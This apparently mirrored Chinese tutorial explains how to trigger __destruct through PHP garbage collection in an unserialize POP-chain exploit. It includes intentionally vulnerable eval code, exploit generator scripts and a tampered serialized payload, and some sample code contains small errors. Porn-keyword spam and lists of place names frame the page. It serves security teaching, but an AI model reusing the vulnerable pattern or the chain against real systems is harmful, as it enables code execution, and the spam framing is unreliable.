最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

圖文詳解PHP中GC回收機(jī)制的利用

 更新時間:2022年03月29日 16:24:20   作者:errorr0  
GC如其名就是垃圾收集,當(dāng)然這里僅就內(nèi)存而言,下面這篇文章主要給大家介紹了關(guān)于PHP中GC回收機(jī)制利用的相關(guān)資料,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下

前言

在前面講魔術(shù)方法時就提到過一個問題,__destruct()無論如何都會被觸發(fā),但是前提是必須得完成程序的開始與結(jié)束,但是如果程序走了一半,突然報錯,那么__destruct()不會觸發(fā)了,那如果又必須要__destruct()觸發(fā)又得怎么搞呢?

這里就要提到一個垃圾回收機(jī)制---GC回收?。?/p>

簡單鋪墊

先看看這個簡單的序列化,一定要先思考再看后面的答案

<?php
highlight_file(__FILE__);
 
class errorr{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
?>

很簡單的一個反序列化,想辦法控制$rce這個變量就可以達(dá)到命令執(zhí)行的目的。

構(gòu)造exp

<?php
class errorr{
public $rce = "phpinfo();";
}
 
$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前寫的序列化與反序列化基礎(chǔ)篇就只能說這個是非常簡單了。

這里是因?yàn)榭梢杂玫?strong>__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

 如果是這樣的話呢?不會的話也不用著急搞懂,我們后面慢慢說。

初識GC

PHP Garbage Collection簡稱GC,又名垃圾回收,在PHP中使用引用計數(shù)和回收周期來自動管理內(nèi)存對象的。

垃圾,顧名思義就是一些沒有用的東西。在這里指的是一些數(shù)據(jù)或者說是變量在進(jìn)行某些操作后被置為空(NULL)或者是沒有地址(指針)的指向,這種數(shù)據(jù)一旦被當(dāng)作垃圾回收后就相當(dāng)于把一個程序的結(jié)尾給劃上了句號,那么就不會出現(xiàn)無法調(diào)用__destruct()方法了。想知道原理細(xì)節(jié)的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

 那接下來就演示用代碼演示GC的實(shí)際工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜結(jié)果會是什么。

謝謝有被吃驚到(雖然我是已經(jīng)知道結(jié)果的),new了一個errorr對象,屁股還沒坐熱就__destruct()了。后面的兩個對象則是按部就班先創(chuàng)建完沒有操作了以后才結(jié)束的。區(qū)別就在于對象1沒有任何引用也沒有指向,在創(chuàng)建的那一刻就被當(dāng)作垃圾回收了,從而觸發(fā)了__destruct()方法。

如果沒有指向可以,那如過在指向一個對象的中途忽然指向另一個,也就是舍棄了該對象又會怎么樣。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

意料之中。

如果注銷$c[0] = $c[1]呢?

可以看到,正常創(chuàng)建,最后銷毀的。 

小試牛刀

既然知道如何利用GC了,那就看一個例題。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就這?");
 
?>

自己胡思亂想出來的題目,太簡單也不要罵我哈哈哈??赡苓@個throw new Exception();有點(diǎn)突兀,這其實(shí)就是阻止__destruct()執(zhí)行的拋錯,學(xué)過java或者python的小伙伴應(yīng)該知道。

這也算一個pop鏈子吧,先分析目的函數(shù),看來看去就是errorr2::flag(),往前推就是errorr1::__toString()會觸發(fā)這個函數(shù),而errorr0::__destruct()會觸發(fā)toString,思路理清就把鏈子構(gòu)造出來為:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp為:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

這個exp的構(gòu)造有許多方法的,根據(jù)自己喜好來,不必和我一樣。

這就完了?或許有人迷惑了,如果完了那前面我說的都是在放屁,和pop沒區(qū)別,所以當(dāng)然還沒完。如果沒有這句throw new Exception();就真的構(gòu)造完了,但是有的話__destruct()是不會執(zhí)行的,而__destruct()不執(zhí)行這條鏈子根本就是堵死的,沒啥用。

重點(diǎn)來了,根據(jù)之前說的GC回收機(jī)制可以把一段數(shù)據(jù)當(dāng)做垃圾回收,那不就可以執(zhí)行__destruct(),然后就有一個問題-------如何觸發(fā)GC回收機(jī)制?!!還記得,之前舉過的例子嗎?如過沒有如何東西指向一個對象,那個對象就會被當(dāng)作垃圾回收。所以,我們先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出來,就加了一行代碼,就是

$c = array(0=>$a,1=>NULL);

把目標(biāo)對象賦給鍵為0,鍵為1賦值為NULL。為什么要這么做,因?yàn)檫@樣操作后,得到的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己試試。解釋一下這串字符。

第一個a為數(shù)組,2為數(shù)組中鍵有兩個 i = 0以及 i = 1

重點(diǎn)重點(diǎn)重點(diǎn),雖然有兩個鍵i = 0對應(yīng)的是我們目標(biāo)對象,i = 1NULL,如果這個時候我們做一件壞事,把i 本應(yīng)該等于 1修改為 i = 0。那不就是把i = 0指向NULL了嗎?然后就實(shí)現(xiàn)了GC回收。所以最后我們修改后的字符串為:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

成功拿下??!這就是GC回收機(jī)制的利用,現(xiàn)在返回去看開始那個鋪墊我想你應(yīng)該就懂了。

總結(jié)

因?yàn)橹v的GC回收機(jī)制并不算深入,只是談?wù)勅绾卫?,所以如果想要深入了解的還是得自己去百度查查別人寫的原理,另外就是GC回收機(jī)制的利用需要修改字符串中的數(shù)據(jù),如果phar反序列化+GC的話就還需要額外修改phar文件的簽名,如果遇到的話就需要在修改序列化字符串后再對其進(jìn)行加密得到的數(shù)據(jù)替換原本的簽名。

到此這篇關(guān)于PHP中GC回收機(jī)制利用的文章就介紹到這了,更多相關(guān)PHP中GC回收機(jī)制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

 參考:淺析GC回收機(jī)制與phar反序列化 | Arsene.Tang

http://www.fzitv.net/article/70851.htm

相關(guān)文章

  • codeigniter顯示所有腳本執(zhí)行時間的方法

    codeigniter顯示所有腳本執(zhí)行時間的方法

    這篇文章主要介紹了codeigniter顯示所有腳本執(zhí)行時間的方法,涉及codeigniter中elapsed_time方法與{ elapsed_time}偽變量的使用技巧,需要的朋友可以參考下
    2015-03-03
  • nohup在后臺常駐運(yùn)行php腳本

    nohup在后臺常駐運(yùn)行php腳本

    linux中跑一個程序,如果我們退出終端,或者網(wǎng)絡(luò)不好連接中斷,那么程序就會被中止,而這個情況肯定不是我們想看到的,要讓PHP程序在Linux后臺執(zhí)行,可以使用nohup命令配合&符號,nohup命令可以使進(jìn)程在用戶注銷后繼續(xù)運(yùn)行,&可以將進(jìn)程放到后臺執(zhí)行
    2024-03-03
  • Laravel中間件實(shí)現(xiàn)原理詳解

    Laravel中間件實(shí)現(xiàn)原理詳解

    這篇文章主要介紹了Laravel中間件實(shí)現(xiàn)原理,較為詳細(xì)的分析了Laravel中間件的概念、原理及相關(guān)方法與使用技巧,需要的朋友可以參考下
    2016-10-10
  • PHP后臺實(shí)現(xiàn)微信小程序登錄

    PHP后臺實(shí)現(xiàn)微信小程序登錄

    這篇文章主要為大家詳細(xì)介紹了PHP后臺實(shí)現(xiàn)微信小程序登錄,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-08-08
  • yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法

    yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法

    這篇文章主要介紹了yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法,需要的朋友可以參考下
    2014-07-07
  • ThinkPHP中泛域名部署的實(shí)現(xiàn)方法

    ThinkPHP中泛域名部署的實(shí)現(xiàn)方法

    對于需要部署多個網(wǎng)站的開發(fā)者來說,站群架構(gòu)是一種廣泛采用的設(shè)計模式,而泛域名部署則是站群架構(gòu)中比較常見的實(shí)現(xiàn)方式之一,在這篇文章中,我們將介紹如何在ThinkPHP框架中實(shí)現(xiàn)泛域名部署站群,需要的朋友可以參考下
    2024-04-04
  • Joomla簡單判斷用戶是否登錄的方法

    Joomla簡單判斷用戶是否登錄的方法

    這篇文章主要介紹了Joomla簡單判斷用戶是否登錄的方法,涉及Joomla基于服務(wù)器端變量結(jié)合Joomla文件進(jìn)行判斷與跳轉(zhuǎn)的相關(guān)技巧,需要的朋友可以參考下
    2016-05-05
  • 多個PHP中文字符串截取函數(shù)

    多個PHP中文字符串截取函數(shù)

    字符串截取是一個非常常見的編程任務(wù),而往往帶中文的字符串截取會經(jīng)常用到。雖然不難,但是自己寫函數(shù)實(shí)現(xiàn)又耗費(fèi)時間,這里介紹一個比較好用的字符串截取函數(shù),能夠勝任基本的需求了
    2013-11-11
  • 一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié))

    一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié))

    這篇文章主要介紹了一文掌握PHP Xdebug 本地與遠(yuǎn)程調(diào)試(小結(jié)),小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2019-04-04
  • Smarty分頁實(shí)現(xiàn)方法完整實(shí)例

    Smarty分頁實(shí)現(xiàn)方法完整實(shí)例

    這篇文章主要介紹了Smarty分頁實(shí)現(xiàn)方法,涉及基于Smarty的數(shù)據(jù)庫查詢、分頁相關(guān)計算與模板操作技巧,需要的朋友可以參考下
    2016-05-05

最新評論

泾川县| 萍乡市| 临安市| 阿拉尔市| 措美县| 手游| 奉节县| 迭部县| 中牟县| 五峰| 孟连| 腾冲县| 开江县| 泸西县| 临安市| 全州县| 额尔古纳市| 凭祥市| 宝清县| 阜城县| 绵阳市| 博爱县| 永兴县| 手机| 永靖县| 汉源县| 甘孜县| 涞水县| 西林县| 大化| 丰镇市| 廊坊市| 南开区| 仙居县| 莲花县| 铜山县| 曲麻莱县| 诏安县| 社会| 石台县| 周至县|